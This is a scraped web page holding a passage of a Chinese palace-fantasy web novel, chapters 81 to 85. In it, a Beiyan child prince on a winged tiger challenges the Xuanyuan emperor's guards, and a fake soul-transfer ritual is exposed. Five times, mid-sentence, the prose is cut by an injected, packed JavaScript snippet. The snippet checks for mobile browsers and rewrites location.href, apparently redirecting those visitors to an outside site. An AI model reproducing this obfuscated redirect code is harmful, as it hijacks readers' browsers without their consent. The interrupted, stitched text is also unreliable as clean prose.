就见夜不群松了手,“去休息吧。” 巫马道奇脱力的瘫在地上,一时连“告退”都忘了,是魏大贤提着他的领子将人拖出去的。 出了门,夜风吹在脸上,巫马道奇这才缓过神来。 回想夜不群刚才的反应,他真是懊恼,三天说少了。 魏大贤将他丢进房间,吩咐着千人斩:“好生看管,你们**他都不能死。” “砰”房门关上。 星月楼另外一层的一间厢房里,郑扶胤和董聂同住。 董聂身体虽未痊愈,但能自由行动了。 “将军,门外没人,都到这儿了,要不我们跑吧,去北燕,找你的好妹妹。”董聂啃着鸡腿,兴冲冲的说着。 郑扶胤瞪了他一眼,“这些浑话日后不许再说了。” 千人斩将星月楼层层把守,他们绝无逃出去的可能。 这一路走来,郑扶胤算是看明白了,陛下爱皇后已经爱的疯魔了,若是毁了陛下见妹妹的事儿,必将生灵涂炭。 他可不想北燕落得一个和大晟一样的下场。 这一次,他也不知道自己是对是错。 不过他转念一想,既然婉婉答应了来,那必定是有办法让皇后醒来的。 第81章陆行 与此同时,万辛府邸。 “你找到能把我毒晕的药了没?”一七岁孩童,悠哉的坐在主位上。 他一身织金绸缎窄袖袍子,束了个冠发,发冠上雕刻着一只活灵活现的老虎。 洁白无瑕的白玉冠,瞧着宛如一只小老虎卧在他的头顶。 “哎吆我的小祖宗,现在情况不妙,您还是赶紧回去吧。 这青州怕是要变天了,可不能再像以前那样了。” 万辛苦着一张脸,点头哈腰的在他面前,苦苦央求着。 “变天?”小家伙扔掉手中色彩鲜艳的毒蘑菇,跳下了椅子,“怎么个变天?” 万辛回道:“轩辕的千人斩您知道的吧?他们现在可就在星月楼里。 您要是再不走,我可真没办法了。” 小家伙一听顿时来了兴趣,“听母后说过,倒是有意思,你说他们厉害还是我厉害?” 万辛跟在他身侧,“殿下厉害殿下厉害,现在可以出城了吗?” “你看不起我。”陆行忽地停住脚步,回头看着他。 万辛步子没来得及刹住,撞在了他身上,而后又赶紧退后两步,“我什么时候看不起殿下了?” “那你陪我去星月楼看看。”陆行招了招手,院中的一只雪白巨虎来到了他跟前儿,低着头让他摸脑袋。 万辛吓的连连后退,“您疯了还是我疯了?那星月楼里住着轩辕的皇上。 您是北燕的皇子,我是轩辕的臣子,您要我陪您去?这跟让我**有什么区别?” 陆行骑上希崽的背,“有道理,那我去就是了。” “你给我母后回信,叫她不要派人来找我了,玩好了我自己就回去了。” “你放屁。”万辛急的都口不择言了,慌忙追出去。 但希崽已经挥舞着一双两米长的翅膀,飞走了。 万辛呆呆的看着天空,“出大事儿了。” 他赶紧跑去花园,将豢养的兔子全都放了出来,“希望耶律怀的鹰崽子没吃饱。” 星月楼里。 翻来覆去睡不着的沈安安,从床榻上起来,自言自语着:“原来吃饱撑着也会睡不着。” 屋子里静悄悄的,没有两小只在身边,她还忽然不习惯了。 但现在太晚了,她也不好去打扰他们。 忽地,她嗅了嗅鼻子,察觉到屋外的异常。 “这么强?不是人?这是个啥?”沈安安出于好奇,开窗看看。 不看不知道,一看吓一跳。 “我还在梦里吗?长翅膀的老虎?”沈安安揉了揉眼睛,再次定睛看去。 没错,一只扑闪着大翅膀的白色老虎,悬停在空中,背上驮着一个孩子。 “这……”沈安安一时愣神。 “喂,外乡人,千人斩在哪儿?”陆行问着她。 整个青州,对他和希崽已经见怪不怪了。 他看沈安安的反应,就知道她不是青州本地人。 “我看你好像挺厉害的,你就是千人斩吗?”陆行再次开口。 不同于夜亦天的老神在在,也不同于夜亦德的稚嫩单纯,眼前这小孩是气定神闲的。 没点子真本事在身上的,是绝对不敢如此怡然自得的。 沈安安还是傻愣着,没说话,但她摇着头。 她后知后觉的问着:“我不是,这这这……这世上老虎都会长翅膀了吗?” “不是千人斩?”陆行轻轻摸着老虎的头,“哼,别人的我不知道,但我的希崽是我母后亲手养大的,它长,合情合理。” 说罢,希崽一个转身,然后朝下直直一个俯冲,落在了星月楼门前。 这动静,地都被它的爪子震出了几道裂痕。 翅膀挥舞的劲风,将沈安安的头发吹的四零八乱,她趴在窗户往下看着,“啊!!!这翅膀还能消失?这合理吗?” 此时,她想起了那本《奇迹婉婉》上写的:挥一挥衣袖,全部都带走。 “神仙的儿子?” 沈安安赶紧从窗户跃到走廊,去叫两小只了。 “亦天、亦德,快醒醒,看神仙的儿子了。” 夜亦天懒得理她,继续埋头看书。 夜亦德也撑的睡不着,闻言夺门而出,“哪里?在哪里?” 沈安安脑袋探进屋子,问着夜亦天:“亦天你不去吗?” “孤两耳不闻窗外事,一心只读圣贤书。”夜亦天眼皮也不抬的说着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446813|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没救了,走走走亦德,我带你去。”沈安安牵着夜亦德就下楼。 不巧,同着急慌忙的郑扶胤在楼梯遇上。 郑扶胤也来不及瞥她一眼,先她一步就奔下了楼梯。 身后追出来的董聂,冲着郑扶胤喊着:“哎吆我的大将军,你慢点儿。 哎吆我的左腿,哎吆我的右腿。” 董聂忍着伤腿的疼痛,往楼下追。 沈安安看董聂扶着栏杆艰难下楼,她道:“人家舅舅见外甥,你搁这儿急啥?” “你懂个啥,让开。”董聂这个粗人一把就拨开了拦路的沈安安。 沈安安抱起夜亦德,“我们也去看看。” 夜亦德把小风车从领子上拿下来,举在手里兴奋道:“看看,看看。” 一大一小兴奋下楼,瞬间又蔫了下来。 就见夜不群站在院中间,魏大贤赵小高站在他左右。 数十名千人斩已经将一门之隔的陆行团团围住。 小家伙坐在希崽背上,“听说你们很厉害,我专程来讨教讨教。 动手吧,一起上。” 希崽不动声色的,将两只翅膀又伸了出来。 脑袋一个劲儿的扭头看背上的陆行,两只前爪子使劲刨着地,仿佛在说:‘咱们还是跑吧。’ 赵小高的手始终捏在刀柄上。 上一次就是让这畜生驮着郑婉婉跑了,这次再送上门来,定要宰了它。 但夜不群没发话,他和千人斩都没任何动作。 “住手,等等。”郑扶胤喊着。 他满头大汗的停在夜不群身边,拱手行礼,喊着:“陛下。” 继而,他转过身,脸色严肃道:“臭小子,谁让你跑出来的?信不信我抽你屁股? 赶紧回去,快,听见没?” 陆行抬手指着他,“你谁啊?还给我指挥上了?待会儿第一个就打你。” “臭小子,我是你二舅,反了你了,快回去。”郑扶胤手挥着。 陆行愣了愣,脑袋趴在希崽的脑袋上,问着:“是我二舅吗?” 希崽点了点头。 陆行抬起头来,嘟着嘴道:“那……嗯,那就除了我二舅,剩下的全上。” 第82章小小男子汉,能屈能伸 夜不群负手而立,眸子盯着门外的小家伙。 他心中在衡量:若是将陆行给捉住,威胁郑婉婉的筹码又多了几分。 但这样也有惹怒郑婉婉的风险,那个女人,重情重义的同时也不计后果,届时鱼死网破实在不划算。 沈安安悄无声息的到了他跟前儿,她也不说话,就是来看戏的。 夜亦德看着希崽,是越看越爱,“怎么能有这么大的老虎?母妃,它一张皮就够给你做地毯了。” 陆行看向他,“小子哎,你是当我聋的吗?” 夜亦德闻言,把小风车插在了领子上,挽着袖子,“嘿,我还从来没见过这么嚣张的。 母妃放我下来,我要揍他。” 沈安**住他的小手,啧了声,“你别胡闹了,我带你是来看热闹的,别等下你成了热闹。” 出不去的郑扶胤焦急万分,但他也不敢轻举妄动。 他只能看着门外的陆行,继续劝说:“行儿,听二舅一声劝,赶紧走。” 陆行充耳不闻,一扭头,“就这样回去,我面子何在?” 郑扶胤罕见的爆粗口,“混账,这不是撒野的地方。” 夜不群摆了摆手,两名千人斩将郑扶胤拖了下去。 他仍是在喊着:“行儿快走。” 夜不群缓步行至门口,像盯猎物一样盯着陆行。 他还在衡量着,紧跟在他身侧的魏大贤赵小高,已在战斗状态了。 沈安安也往前挪了挪,这下真的有好戏看了。 不料夜亦德出其不意的指着陆行喊着:“下来,我要跟你单挑。” 陆行也是积极应战,“我接受你的挑战,等下你别被我打哭了。” 他不说还好,一说夜亦德挣扎着就从沈安安怀里下来了。 谁的话也听不进去,就要往门外跑。 他把小风车拿下来,顺手就塞到了夜不群手里。 夜不群拿着小风车,目光落在两个小孩子身上。 倒是有点儿意思,那他就看看,到底是轩辕的皇子厉害还是北燕的厉害。 这天下,日后是小辈们的天下,他们迟早要在战场上见面,趁早过招也不是坏事儿。 夜不群知晓夜亦德天生神力,倒也不担心。 陆行从希崽背上跳下来,冲夜亦德道:“你一个玩小风车的跟我一个玩老虎的打,你确定? 叫我一声好大哥,我就放了你,怎样?” 夜亦德抬手比划着两人的身高,“我还比你高一截呢,你就是个弟弟,你永远都是个弟弟。” “好好好,弟弟是吧?连我母后都不敢这么跟我说话,我宣布,你门牙没了。”陆行也是成功被激怒。 他挽起袖子,蓄势待发。 沈安安瞧着他的动作,不禁眉头一蹙,下盘稳,上盘攻防兼备,一看就是练家子。 她捂了捂额头,看向夜不群,仿佛在说:‘你不管管?’ 就在他们剑拔**张时,夜亦德忽地一声:“等等。” 陆行站定,“干嘛?” “公平起见,我们都把上衣脱了。”夜亦德先脱为敬。 上次他在夜明那里吃了大亏,这次可不能再吃同样的亏了。 “麻烦。”陆行嫌弃道,有叫让武器的、也有叫他让一只手的,让他脱衣服的还是第一次见。 但他还是脱了。 夜亦德看着光着上半身的陆行,这才心满意足。 “一招就把你拿下。”他说罢,冲了过去。 “禽兽。” 蹬地、肘击,一气呵成。 确实结结实实打上了,但是好像没什么用。 陆行皱眉问他:“打架就打架,你骂**什么?” 沈安安:“???” 这么结实吗? “你打完了吗?到我了。”陆行问着。 他抬手摸着自己的下巴,“你小子倒是有点儿力气,有点儿感觉。” 夜亦德看对方纹丝不动,跟个没事儿人一样,赶忙就开始后退。 他只是莽,又不是傻。 他回头看了一眼沈安安,好似在问:‘怎么办?’ 沈安安手指比着耶,戳着自己的眼睛暗示。 可是还没等夜亦德有反应,陆行抬起一脚,朝着他的脸踢过来,“临阵磨枪可不是什么好习惯。” 夜亦德也是反应快,抬起两只手挡在自己面前。 好消息:挡住了。 坏消息:疼疼疼。 他疼的咬牙切齿,但他还是忍住,半步不退,面子不能丢。 “就就就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446814|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……就这儿?”他说话时,牙齿好似在打架。 沈安安着急的向前半步,“要么,算了?” 陆行收了腿,也没有继续出招。 他也愣住了,虽然没用全力,但他力道也不轻啊,这世间居然能有接他一腿的人,看这样子,还是跟他同龄。 “有点儿意思。”陆行兴致大起。 夜亦德也是个识时务的,要是再被来这一脚,自己双手都要断了。 他当即就开始穿衣服,“太冷了,不玩了。” 陆行却不打算就此作罢,“从来都是我定规矩,只有我说不玩了才可以不玩了。” 他的腿就像装了弹簧一样,一腿扫了过去。 夜不群的唇刚微微一张,沈安安已至夜亦德身旁,替他结结实实挡下了这一腿。 没来得及用全部内力,这一腿踢的她都腿麻。 希崽见对方耍赖,它也呲着牙扑了上来。 沈安安伸出一只手,一个四两拨千斤,将它拨到了另外的方向。 希崽一个猛刹落地,迅速的掉转了头,又要生扑。 就在这时,在场千人斩已悄无声息的手握火铳,对准了陆行。 夜不群眉头紧蹙,要是这畜生刚刚真伤了皇后的载体,他可不会再衡量什么了。 陆行也止住了所有动作,一个滑步到了希崽面前,伸手摸着它,安抚着躁动的它。 沈安安抱着夜亦德赶紧进了星月楼。 “以多欺少,你们轩辕惯会做这种不要脸的事儿,有本事放下火铳,跟我真刀**的干。” 夜不群冷哼一声,“今时不同往日,朕想灭你们,不过弹指一挥间罢了。” “好大的口气啊。”一道稚嫩的声音,从高空传来。 沈安安抬头,就看见上空盘旋着一只火红凤凰。 大的可谓是离谱。 原本以为这老虎就已经够大了,不成想还有更大的。 她呆呆的看着,心里自问:‘我到底来到了一个什么样世界?’ 夜亦德看的目瞪口呆,“母妃,输给神仙不丢人吧?” 不等沈安安回答,剩余的所有千人斩出动,手持火铳,对准了天空中的庞然大物。 稚嫩的声音再次响起,“速速让行,如若不然,等同开战。” 第83章仇家转世 赵小高眼看夜不群还不说话,开口道:“陛下。” “放行。”夜不群冷冷一声。 眼下救皇后才是最要紧的,郑婉婉既已答应了来,那她一定会来。 没必要将矛盾升级,再者,现在也不是跟北燕开战的最合适时机。 高空之上,坐在凤凰背上的陆言,听到这句话松了一口气。 他瞥着弟弟:“还不走?” 血脉压制,陆行天不怕地不怕,就怕自己的双胞胎哥哥。 他骑上希崽的背,“走。” 希崽挥动着翅膀,飞至空中,跟在凤凰后面,不多时消失于夜空中。 夜不群转身来到沈安安面前,将小风车还给了她怀中的夜亦德。 “输一次没关系,日后战场相见,再杀了他也不迟。 君子报仇,十年不晚。”他声音温润。 夜亦德接过小风车,垂眸想着:这十年也不一定能干过他啊,皇叔还是把自己想的太厉害了。 “嗯。”但小小的人儿还是应着。 夜不群见状,方心满意足的转身离开。 沈安安抱着夜亦德上了楼。 回到房间,夜亦德隔着衣服刺挠着背,“母妃我痒,还疼,就像被蜜蜂蛰了一样。” 沈安安弯腰挠着自己的腿,“我也是。” “这小子不光厉害,浑身都带毒,这可咋整?” 夜亦德反问他:“怎么办?” 沈安安停下挠腿的动作,“还能怎么办?忍着呗,我先搞颗鸡蛋给你揉揉淤血。” 夜亦德吹了吹生疼的手,“呼~~怎么会有这么大力气的人?” 沈安安想了想陆行那一脚,摇头道:“啧,没有内力,全是实力。 亦德啊,他可是你一生宿敌,唉,你皇叔又对你寄予厚望。 看他这样子,以后要把你当戍边将军用了,果然,没有一分宠爱是白拿的。” 她想了想白天夜不群对自己的好,指着自己的鼻子问:“那我呢?他要**嘛?” 夜亦德把自己的袖子放下来,“害,他让你传宗接代呗。” 沈安安双臂抬起抱着自己,“啊?臣妾不要啊。” 夜亦德忽地站起来,搂着她轻轻拍着背哄着:“哦哦哦,没事儿,母妃忍忍,我也想再要个弟弟。” 沈安安将人抱起来,“走,拿鸡蛋。” 与此同时,星月楼一楼的厢房里。 夜不群坐在书桌前,旁边站着的楚舒茗在研墨。 她看夜不群脸色不好,连研墨的动作都放轻了,尽量不制造出声响。 夜不群心有所思,轩辕的皇子,就亦德有武将风范。 但北燕那个,显然更胜一筹,看来神威宝库还是不能停。 只有发展绝对的科技力量,才能彻底制衡北燕,等待时机,一举歼灭。 赵小高是按捺不住性子的人,见夜不群迟迟不说话,他主动问着:“陛下,万辛给北燕传了两次信了,要不要现在我就带人把他拿下?” 夜不群头也不抬,声音清冷道:“不用,一切都等皇后醒来。” “皇后醒来?”赵小高茫然的看向一旁的魏大贤。 魏大贤道:“陛下此番前来,是为给皇后施行移魂**。 一旦郑婉婉将皇后救醒,国师便会将皇后的魂魄转移到荣贵妃的身上,从而获得新生。” 赵小高一听这话,身体的动作比脑子转得快,“扑通”一声就跪下了。 他险些坏了陛下大事,他几次三番都想杀沈安安,还好阴差阳错没成。 夜不群剑眉蹙着,“你这是干什么?” 赵小高低着头,欲言又止:“我……” “你干的那些事儿,朕都知道,下去吧。”夜不群冷声道。 他又看向魏大贤,“你也下去。” “是,臣遵命。”两人齐齐应了一声,退出了厢房。 房门关上,走远了些。 赵小高埋怨道:“此等大事,你怎么不早知会一声?” 魏大贤没好气道:“我怎么知会你?我也是就近才知道。 还有,你以后给我写信的时候,别什么乱七八糟的都往上写。” 赵小高不以为然,“哼,怎么了?还能传到别人耳朵里去?” 魏大贤瞪了他一眼,“就你这脑子,要不是陛下待我们情同手足,你早死八百次了。 我也被你连累死几百遍了,千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446815|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人斩什么手段,你不知道吗?” 魏大贤说罢就走。 后知后觉的赵小高,抬步追了上去,“你是说陛下监视我俩?陛下这是什么意思?信不过我们?” “闭嘴吧你。”魏大贤一把将他拉进了屋里。 赵小高坐在八仙桌前,兀自喝酒,“你那恩人可是被沈安安亲手杀了的,你就不管了?” 魏大贤:“那是沈安安吗?那是另一个皇后,你有胆,你再去杀。” 赵小高把酒杯往桌子上重重一放,一阵沉思后,他开口问着魏大贤:“我们也是跟陛下一起长大的,还比皇后时间更长。 你说咱俩要是女人的话,做了陛下的妃子,陛下是更爱皇后,还是更爱咱俩?” “我看你真是疯了,睡觉。”魏大贤无比嫌弃道。 同州将军府,正堂里灯火通明。 郑婉婉两只手捏着希崽的耳朵,“他不听话,你也不听话,他说去哪儿你就去哪儿?” “啪,啪”两个象征性的耳光,打在希崽的脑袋上。 希崽耷拉着眼皮,卧在地上,吐着舌头一脸无赖的看着她。 郑婉婉单手叉着腰,一只手抬起指着陆行,“反了你了真是,那千人斩是人能去打的吗? 要不是你大哥去的及时,我跟你父皇就要去给你收尸了。” 她又是象征性的两个巴掌,打在陆行的屁股上。 陆诰坐在椅子上,捂着额头叹息。 多么拙劣的演技,看了这么多年。 郑婉婉还在继续,“长记性了没?” 陆行点着头,“嗯。” 郑婉婉刚要欣慰,就听他又道:“母后,下次我早点回来。” “你你你……”郑婉婉气的,“我不管了,我管不了一点。” 陆诰一个警告的眼神朝着陆行递去。 陆行自顾自的站起来,抖了抖自己的袍子,“父皇你看什么看?不是你说要在实战中成长吗? 我这天天出去不就是去成长吗?我这是玩吗?” 陆诰指着他:“你……” “你这逆子,你莫不是夜羽祁转世来气朕的?” 都说儿子是仇家转世,他越来越信了。 第84章 祭天 陆行双手叉腰,义正严词道:“不可能,等我做了皇帝,我就把夜家人都灭了。” 一旁默不作声的北燕丞相贾好人闻言神色一顿。 自古以来,立长立嫡,哪有放着嫡长皇子不立太子,却让嫡次皇子整天嚷嚷着要皇位的道理? 皇后一共诞下四个孩子,三个皇子,一位公主。 皇上后宫再无其他嫔妃,三位皇子都乃嫡子,可如今大皇子二皇子七岁了,三皇子也四岁了。 每次他提起立太子一事儿,都会被陛下驳回。 陛下又独宠二皇子,可二皇子生性残暴,难堪大任,反观大皇子,饱读诗书、为人稳重和善,实乃太子不二人选。 郑婉婉揉着陆行的小脑袋,“你问过你哥了吗?” 陆行看向陆言,“哥,你没意见吧?” 陆言不以为然,“你随意。” “呐,你们都看到了,不是我抢他的,是他让给我的。”陆行挥着手,颇有指点江山的架势。 贾好人脸色沉了又沉,“咳咳”两声欲结束这个话题。 陆行却继续道:“父皇母后你们放心,大哥不是喜欢钱吗?以后我就把国库交给他打理。” 陆言挥着手,“你少来,母后给我的钱万年都花不完,我才不帮你管烂摊子。 日后我要骑着小鸡仔云游四海。” 陆诰听闻这话,眉头皱了皱,一个娘胎里出来,怎么这老大就是胸无大志呢? 偏偏婉婉喜欢老大,把一婉通交给他了,搞得自己堂堂一国之君,时不时还要向个七岁孩童伸手,虽然是自己的儿子。 陆诰想想,都觉得窝囊。 “好了好了,你们两个下去吧,吵吵闹闹的。”陆诰挥着手。 郑婉婉也摆手:“快下去快下去。” “儿臣告退。”陆言陆行齐声道。 希崽也跟在两人身后出了正堂。 耶律怀将万辛送来的两封信递给郑婉婉,“老大,轩辕这次动静好像有点大啊。” 万辛信上将青州情况一一说明。 郑婉婉和陆诰也猜到了,夜不群亲自出动,怎么会少了千人斩和龙虎军。 “婉婉,你真能救醒安乐吗?”陆诰问着。 郑婉婉叹息一声,“这样吊着,她还能活个三五年。 强行弄醒,不过一刹那回光返照罢了,我又不是神仙。” “但我看那夜不群是执迷不悟了,既然他非要这样,那就让他自己选吧。” 众人闻言,皆是一阵沉默。 大家心知肚明,若是轩辕皇后**,两国势必要开战。 此前两国休战,皆是因为这位皇后。 贾好人思索良久开口道:“轩辕休养生息了这么多年,但百姓却越过越苦,那银子都用去哪儿了?这可想而知。” “但派去的细作,查探不到任何有价值的消息。 天罗地网无孔不入,多少细作都死在了他们手上。 无数条鲜活的生命,就换来了四个字:‘神威宝库。’” 但这宝库里到底在造什么,无人知晓。 陆诰看向工部尚书康吉,问道:“这么多年买了轩辕无数门大炮,你可研究明白了?” “唉。”康吉一阵头疼,“实在太过玄妙,根本无法仿制。 依臣看,以后还是不要再花费巨银购买了,没有**,买回来就是铁疙瘩。” 轩辕卖火器,**就管控,而且卖给北燕的都是**版。 真放在战场上,根本对轩辕造不成任何威胁。 陆诰思索片刻,吩咐着耶律怀:“先集结兵马,以防万一。 调动燕京军,驻扎西天城,必要的时候前来支援。” …… 翌日,沈安安睡到晌午才醒来。 抬腿一看,昨晚的黑色已经褪去。 “母妃母妃。”夜亦德推开门就进来。 沈安安赶忙拉上帷幔,“臭小子,进来之前不知道敲门吗?” 夜亦德反手将门关上,就见他光着上半身,身上绿油油的。 “痒死我了,母妃救救我。”他一边说着,一边还在挠身上。 许多地方都抓出血红印子了,还是奇痒无比。 沈安安穿上衣裳,掀开帘子抓住了他的手,“谁让你脱了衣服跟那小毒物打的?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446816|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夜亦德愁眉苦脸,“我哪知道那家伙有毒?” “这也出不了星月楼啊。”沈安安抱起他下了楼,只能去找**了。 夜不群对她倒是有求必应,让她去找国师。 巫马道奇查看了夜亦德的情况,驮着大包小包的药材跟着他们上了楼。 熬了一大锅的药汤,给夜亦德泡药浴。 “还得施针。”巫马道奇冲沈安安说着。 他此时才有机会仔细看沈安安,要是她一双眼睛没这么愚蠢又明亮、表情再带点悲伤,那简直就跟皇后如出一辙。 他一根银针下去,夜亦德睡了过去。 巫马道奇小声的询问沈安安:“荣贵妃,你想当皇后吗?” “啊???”沈安安震惊的张大了嘴巴。 巫马道奇赶紧把手指放在唇上,“嘘。” 沈安安上下看着他,“你你你……你不会是来害我的吧?” 他顺着浴桶跪下来,身影刚好被浴桶挡住,“贵妃娘娘,你可一定要救救我,你当皇后我苟活,多好?” 沈安安一头雾水,“你这是干嘛?我讨生活也不容易,你别搞哦,我才不当什么皇后。” 她怎么可能会给**当皇后?再说了,傻子都知道那**多爱他的皇后。 等等。 忽地,沈安安好似悟到了些什么:‘**那么爱皇后,我又跟皇后长得一模一样。 明明皇后命不久矣,**却那么开心,还对我这么好?又千里迢迢来了青州非要见神仙。 那就是有了转机,这转机还跟我有关系,现在国师又让我当皇后……’ 沈安安想着想着一拍大腿,“好啊,搞半天那是我最后的晚餐和烟火。 这是要拿我祭天啊。” 想到这儿,沈安安也不啰嗦,一把抓住巫马道奇的领子,“说,你们到底要干嘛?” 巫马道奇声音又轻又小,“荣贵妃,动静小点儿,小点儿。” “既然你能来到我面前,那就是天意,只要你愿意听我的,我俩都不会死。” 沈安安松开他,也蹲了下来,“你先说说到底怎么回事儿?” 第85章四不许 巫马道奇声音又压低了几分,两只手横在二人中间比划着。 “就是皇后醒了,我要施行移魂**,把她的魂魄放进你的身体里。 把你的魂魄赶出去……” 他话还没有说完,沈安安已经伸出一只纤纤玉手,掐住了他的脖子,“好了,你不用再说了,我把你掐死这事儿不就搞定了吗?” 说罢,她手上就开始用力。 踏马的,她魂穿过来这才活了几天?就又要被别人穿,这能忍? 这要忍了她就不是沈安安。 “等等,等等,我还没说完呢。”巫马道奇也顾不上什么尊卑有别了,抓住她的手腕,伸长舌头争取着。 “还有什么好说的?”沈安安手上再一用力。 “假的,移魂**是假的。”巫马道奇急呼出声。 沈安安闻言,这方松了手。 “咳咳。”巫马道奇捂着嘴,小声咳嗽了几声。 “假的?假的我还跟你合作什么?那是你的问题了。”沈安安不以为然道。 看来这移魂**真是假的,要是这国师真有这么厉害的**,还能被**这么控制吗? 他把自己移到**身上不就得了? 沈安安转念一想,这**是聪明一世糊涂一时啊,这都能把他骗了。 果然,爱情会让人疯魔。 巫马道奇还想说什么。 沈安安抬手一个阻止的手势,“打住,我可不跟你同流合污。” 她一把将人提拎起来,“快把我儿子弄醒,我要跟你划清界限。” 巫马道奇不敢耽误,掏出银针给夜亦德施针,“难道你就不想当皇后吗?” “我不想当皇后,我只想做个在后宫发疯的妃子,快点。”沈安安催促着。 巫马道奇给夜亦德施了针。 沈安安也不管亦德醒没醒,从浴桶里捞出来裹着衣服就要带他离开。 这是非之地,还是趁早远离的好。 “咯吱”房门打开。 房门口定定站着三人。 夜不群、魏大贤和赵小高,简称轩辕三大魔头。 巫马道奇瞥见,想死的心都有了,他把身子缩回了浴桶后,仍是朝着夜不群的方向跪了下来,即便中间隔着个浴桶。 沈安安干咽了一口。 虽然最近吃多了,但丝毫不影响她的智商,她当即就举起一只手,“陛下,我要告发。” “国师不是人,他欺君罔上,移魂**是假的,还要臣妾配合他。” 巫马道奇躲在浴桶后面瑟瑟发抖。 他也是先下手为强,对着浴桶就撞脑袋,“我自己来,不用陛下动手。” 这一撞,就撞到了定国侯的腿上。 “想死?哼,做梦。”赵小高抬着腿,睥睨着脚下的人。 他们三人也不知道何时出现的。 但到现在,夜不群也是一声没吭。 沈安安缓慢的挪动着步子,侧着身子往出走,“剩下的就交给陛下、首辅、侯爷处理了,奖赏嘛,都是自己人,就不必了,臣妾先告退了。” 夜不群仍是纹丝不动,漆黑的眼眸看都没看沈安安一眼。 他没发话,魏大贤也没敢拦沈安安。 她跑的比兔子还快,抱着夜亦德跃到下一层,钻进了给两小只安排的厢房里。 夜亦德悠悠转醒,揉着眼睛,“母妃,发生了什么?” 他捏着衣服袖子,给沈安安擦着额头豆大的汗滴。 沈安安顾不上回夜亦德的话,看向夜亦天道:“亦天啊,出大事了。” 夜亦天看书的动作一顿,抬起头,“你又惹了什么祸?” 另一边,足足过了三四刻钟了,夜不群仍是一言不发,站在原地一动不动。 赵小高早就抓着巫马道奇跪在了他面前,而他的眼神,落在巫马道奇身上就没移开过。 赵小高和魏大贤也屏住呼吸。 陛下这样的反应,他们上一次见,还是陛下十二岁时。 那是皇后被大晟抓了,后来陛下就灭了大晟的国。 那这个? 魏大贤和赵小高齐齐的看向了巫马道奇。 起初魏大贤知道移魂**这件事儿的时候,也是不大相信的。 但他怎么都没料到,在轩辕竟有人敢在陛下的眼皮子底下行骗。 巫马道奇到底还是胆子大,砰砰三个响头后,开口道:“陛下,臣将功赎罪,以后好好给皇后炼药。 除了臣,陛下再也找不到第二个能仿制北燕皇后药的人了。 臣臣臣……臣听首辅大人说,北燕皇后不卖给皇后药了。” 魏大贤一个激灵,怎么又扯上他了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446817|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜不群出奇的冷静,问着魏大贤:“还能买得起药吗?” 魏大贤躬身拱手道:“陛下无需担心,就算榨干全天下,皇后的药也绝不会停。” 闻言,夜不群忽地抬起一只脚,踩在了巫马道奇的脑袋上。 巫马道奇的正脸死死的贴在地面上,现在他是不敢说话了。 夜不群碾压着他的头,冷冷开口:“再买最后一次。” 魏大贤和赵小高一听这话,纷纷愣住,这是什么意思?以后都不管皇后死活了? 陛下早该如此。 还不等他们回神,夜不群又道:“传朕诏令,将八十万龙虎军调至青州城外,安营扎寨。 不卖,那咱们就打,打到郑婉婉乖乖上供为止。 横竖不过再灭一个国。” 说罢,他转身离开。 至于巫马道奇,他也没说如何处置。 赵小高无奈看向了魏大贤。 魏大贤犹豫片刻,道:“拿下,看好了,别让他**。” 话音落,两名千人斩翛然出现,将巫马道奇架了起来,“是,大人。” “等等。”他们刚出屋子,赵小高的声音响起。 